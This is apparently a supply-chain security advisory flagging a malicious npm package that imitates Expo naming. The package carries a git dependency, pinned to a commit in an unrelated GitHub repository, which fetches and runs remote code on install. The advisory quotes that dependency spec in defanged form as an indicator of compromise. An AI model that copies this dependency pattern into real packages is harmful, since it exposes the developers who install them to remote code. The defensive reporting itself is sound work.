LWA-2026-13727 confirmed malware

@expo-probe-ff8e2b/snack-probe-c2a16@1.0.0

Malicious code in @expo-probe-ff8e2b/snack-probe-c2a16 (npm)

T1195.002 · Compromise Software Supply ChainT1105 · Ingress Tool TransferT1059.007 · JavaScript

Analysis

@expo-probe-ff8e2b/snack-probe-c2a16@1.0.0 contains no code of its own — package/index.js is `module.exports = 1;` and there are no lifecycle scripts — but its package.json declares a single dependency resolved from an arbitrary git commit rather than the npm registry: `"expo-prepare-probe-c2a16db2": "git+hxxps://github[.]com/lordseidon/recon-vps[.]git#expo-probe-1106-c2a16db2"`. Installing this package therefore fetches and runs third-party code at that pinned commit from the repository github[.]com/lordseidon/recon-vps, which is unrelated to the Expo project the scoped package name and the decoy dependency name (`expo-prepare-probe-*`) imitate. Because it is pinned to a raw commit-ish rather than a fixed published version, the code delivered to installers can be swapped without republishing the npm package. The dependency's name and the `recon-vps` repository are consistent with a recon/payload delivery stage; the executable payload lives in that git repository and is not present in the npm tarball. IOCs: dependency spec git+hxxps://github[.]com/lordseidon/recon-vps[.]git#expo-probe-1106-c2a16db2; repository host github[.]com/lordseidon/recon-vps.

analyzed by
Leitwacht
first seen
Nov 6, 2026, 02:35 PM
analyzed
Nov 6, 2026, 02:36 PM

Related advisories

browse all confirmed advisories →

Independently detected by the Leitwacht supply-chain probe. IOCs are defanged. Published CC0. Think this is a mistake? See the dispute policy.